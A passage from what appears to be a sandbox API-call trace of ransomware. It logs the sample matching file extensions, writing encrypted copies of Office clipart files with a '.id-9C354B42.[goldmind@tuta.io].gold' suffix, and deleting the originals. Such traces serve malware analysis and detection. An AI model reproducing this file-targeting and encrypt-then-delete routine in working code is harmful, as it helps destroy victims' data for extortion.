1 [0113.594] lstrlenW (lpString=".rar") returned 4 [0113.594] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.594] lstrlenW (lpString=".bz2") returned 4 [0113.594] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.594] lstrlenW (lpString=".7z") returned 3 [0113.594] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF") returned 63 [0113.594] lstrlenW (lpString=".dbf") returned 4 [0113.594] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF") returned 63 [0113.594] lstrlenW (lpString=".1cd") returned 4 [0113.594] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF") returned 63 [0113.594] lstrlenW (lpString=".jpg") returned 4 [0113.594] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.594] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0113.594] lstrlenW (lpString="J0187839.WMF") returned 12 [0113.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187839.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0113.597] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=5372) returned 1 [0113.597] CloseHandle (hObject=0x194) returned 1 [0113.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187839.wmf")) returned 0x20 [0113.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187839.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0113.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187839.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0113.598] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.598] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187839.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0113.599] GetLastError () returned 0x0 [0113.599] ReadFile (in: hFile=0x194, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x14fc, lpOverlapped=0x0) returned 1 [0113.601] WriteFile (in: hFile=0x3b8, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x1500, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x1500, lpOverlapped=0x0) returned 1 [0113.602] ReadFile (in: hFile=0x194, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0113.602] WriteFile (in: hFile=0x3b8, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0113.602] SetEndOfFile (hFile=0x3b8) returned 1 [0113.602] CloseHandle (hObject=0x3b8) returned 1 [0113.602] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.602] SetEndOfFile (hFile=0x194) returned 1 [0113.604] CloseHandle (hObject=0x194) returned 1 [0113.604] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0113.604] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187839.wmf")) returned 1 [0113.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF") returned 63 [0113.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF") returned 63 [0113.608] lstrlenW (lpString=".doc") returned 4 [0113.608] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.608] lstrlenW (lpString=".docx") returned 5 [0113.608] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0113.608] lstrlenW (lpString=".pdf") returned 4 [0113.608] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.608] lstrlenW (lpString=".xls") returned 4 [0113.608] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.608] lstrlenW (lpString=".xlsx") returned 5 [0113.608] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0113.608] lstrlenW (lpString=".ppt") returned 4 [0113.608] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF") returned 63 [0113.608] lstrlenW (lpString=".zip") returned 4 [0113.608] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.608] lstrlenW (lpString=".rar") returned 4 [0113.608] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.608] lstrlenW (lpString=".bz2") returned 4 [0113.608] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.608] lstrlenW (lpString=".7z") returned 3 [0113.608] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF") returned 63 [0113.608] lstrlenW (lpString=".dbf") returned 4 [0113.608] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF") returned 63 [0113.608] lstrlenW (lpString=".1cd") returned 4 [0113.608] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF") returned 63 [0113.608] lstrlenW (lpString=".jpg") returned 4 [0113.608] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF") returned 63 [0113.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF") returned 63 [0113.608] lstrlenW (lpString=".doc") returned 4 [0113.608] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.608] lstrlenW (lpString=".docx") returned 5 [0113.608] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0113.608] lstrlenW (lpString=".pdf") returned 4 [0113.608] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.608] lstrlenW (lpString=".xls") returned 4 [0113.608] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.608] lstrlenW (lpString=".xlsx") returned 5 [0113.609] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0113.609] lstrlenW (lpString=".ppt") returned 4 [0113.609] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF") returned 63 [0113.609] lstrlenW (lpString=".zip") returned 4 [0113.609] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.609] lstrlenW (lpString=".rar") returned 4 [0113.609] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.609] lstrlenW (lpString=".bz2") returned 4 [0113.609] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.609] lstrlenW (lpString=".7z") returned 3 [0113.609] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF") returned 63 [0113.609] lstrlenW (lpString=".dbf") returned 4 [0113.609] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF") returned 63 [0113.609] lstrlenW (lpString=".1cd") returned 4 [0113.609] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF") returned 63 [0113.609] lstrlenW (lpString=".jpg") returned 4 [0113.609] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.609] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0113.609] lstrlenW (lpString="J0187847.WMF") returned 12 [0113.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187847.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0113.610] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=7116) returned 1 [0113.610] CloseHandle (hObject=0x194) returned 1 [0113.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187847.wmf")) returned 0x20 [0113.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187847.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0113.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187847.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0113.611] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.611] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187847.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0113.611] GetLastError () returned 0x0 [0113.612] ReadFile (in: hFile=0x194, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x1bcc, lpOverlapped=0x0) returned 1 [0113.613] WriteFile (in: hFile=0x3b8, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x1bd0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x1bd0, lpOverlapped=0x0) returned 1 [0113.614] ReadFile (in: hFile=0x194, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0113.614] WriteFile (in: hFile=0x3b8, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0113.614] SetEndOfFile (hFile=0x3b8) returned 1 [0113.614] CloseHandle (hObject=0x3b8) returned 1 [0113.614] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.614] SetEndOfFile (hFile=0x194) returned 1 [0113.616] CloseHandle (hObject=0x194) returned 1 [0113.616] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0113.616] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187847.wmf")) returned 1 [0113.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF") returned 63 [0113.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF") returned 63 [0113.813] lstrlenW (lpString=".doc") returned 4 [0113.813] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.813] lstrlenW (lpString=".docx") returned 5 [0113.816] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0113.816] lstrlenW (lpString=".pdf") returned 4 [0113.816] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.816] lstrlenW (lpString=".xls") returned 4 [0113.816] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.816] lstrlenW (lpString=".xlsx") returned 5 [0113.816] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0113.816] lstrlenW (lpString=".ppt") returned 4 [0113.816] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF") returned 63 [0113.816] lstrlenW (lpString=".zip") returned 4 [0113.816] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.816] lstrlenW (lpString=".rar") returned 4 [0113.816] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.816] lstrlenW (lpString=".bz2") returned 4 [0113.816] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.816] lstrlenW (lpString=".7z") returned 3 [0113.816] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF") returned 63 [0113.816] lstrlenW (lpString=".dbf") returned 4 [0113.816] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF") returned 63 [0113.816] lstrlenW (lpString=".1cd") returned 4 [0113.816] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF") returned 63 [0113.817] lstrlenW (lpString=".jpg") returned 4 [0113.817] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF") returned 63 [0113.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF") returned 63 [0113.817] lstrlenW (lpString=".doc") returned 4 [0113.817] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.817] lstrlenW (lpString=".docx") returned 5 [0113.817] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0113.817] lstrlenW (lpString=".pdf") returned 4 [0113.817] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.817] lstrlenW (lpString=".xls") returned 4 [0113.817] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.817] lstrlenW (lpString=".xlsx") returned 5 [0113.817] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0113.817] lstrlenW (lpString=".ppt") returned 4 [0113.817] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF") returned 63 [0113.817] lstrlenW (lpString=".zip") returned 4 [0113.817] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.817] lstrlenW (lpString=".rar") returned 4 [0113.817] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.817] lstrlenW (lpString=".bz2") returned 4 [0113.817] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.817] lstrlenW (lpString=".7z") returned 3 [0113.817] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF") returned 63 [0113.817] lstrlenW (lpString=".dbf") returned 4 [0113.817] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF") returned 63 [0113.817] lstrlenW (lpString=".1cd") returned 4 [0113.817] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF") returned 63 [0113.817] lstrlenW (lpString=".jpg") returned 4 [0113.817] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.817] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0113.817] lstrlenW (lpString="J0188511.WMF") returned 12 [0113.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188511.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0113.933] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=10716) returned 1 [0113.933] CloseHandle (hObject=0x194) returned 1 [0113.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188511.wmf")) returned 0x20 [0113.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188511.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0113.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188511.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0113.934] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.934] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188511.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0113.935] GetLastError () returned 0x0 [0113.935] ReadFile (in: hFile=0x194, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x29dc, lpOverlapped=0x0) returned 1 [0113.937] WriteFile (in: hFile=0x3f8, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x29e0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x29e0, lpOverlapped=0x0) returned 1 [0113.938] ReadFile (in: hFile=0x194, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0113.938] WriteFile (in: hFile=0x3f8, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0113.938] SetEndOfFile (hFile=0x3f8) returned 1 [0113.938] CloseHandle (hObject=0x3f8) returned 1 [0113.938] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.938] SetEndOfFile (hFile=0x194) returned 1 [0113.940] CloseHandle (hObject=0x194) returned 1 [0113.940] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0113.940] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188511.wmf")) returned 1 [0113.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF") returned 63 [0113.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF") returned 63 [0113.941] lstrlenW (lpString=".doc") returned 4 [0113.941] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.941] lstrlenW (lpString=".docx") returned 5 [0113.941] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0113.941] lstrlenW (lpString=".pdf") returned 4 [0113.941] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.941] lstrlenW (lpString=".xls") returned 4 [0113.941] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.941] lstrlenW (lpString=".xlsx") returned 5 [0113.941] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0113.941] lstrlenW (lpString=".ppt") returned 4 [0113.941] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF") returned 63 [0113.942] lstrlenW (lpString=".zip") returned 4 [0113.942] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.942] lstrlenW (lpString=".rar") returned 4 [0113.942] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.942] lstrlenW (lpString=".bz2") returned 4 [0113.942] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.942] lstrlenW (lpString=".7z") returned 3 [0113.942] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF") returned 63 [0113.942] lstrlenW (lpString=".dbf") returned 4 [0113.942] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF") returned 63 [0113.942] lstrlenW (lpString=".1cd") returned 4 [0113.942] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF") returned 63 [0113.942] lstrlenW (lpString=".jpg") returned 4 [0113.942] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF") returned 63 [0113.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF") returned 63 [0113.942] lstrlenW (lpString=".doc") returned 4 [0113.942] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.942] lstrlenW (lpString=".docx") returned 5 [0113.942] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0113.942] lstrlenW (lpString=".pdf") returned 4 [0113.942] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.942] lstrlenW (lpString=".xls") returned 4 [0113.942] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.942] lstrlenW (lpString=".xlsx") returned 5 [0113.943] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0113.943] lstrlenW (lpString=".ppt") returned 4 [0113.943] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF") returned 63 [0113.943] lstrlenW (lpString=".zip") returned 4 [0113.943] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.943] lstrlenW (lpString=".rar") returned 4 [0113.943] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.943] lstrlenW (lpString=".bz2") returned 4 [0113.943] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.943] lstrlenW (lpString=".7z") returned 3 [0113.943] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF") returned 63 [0113.943] lstrlenW (lpString=".dbf") returned 4 [0113.943] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF") returned 63 [0113.943] lstrlenW (lpString=".1cd") returned 4 [0113.943] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.943] lstrlenW 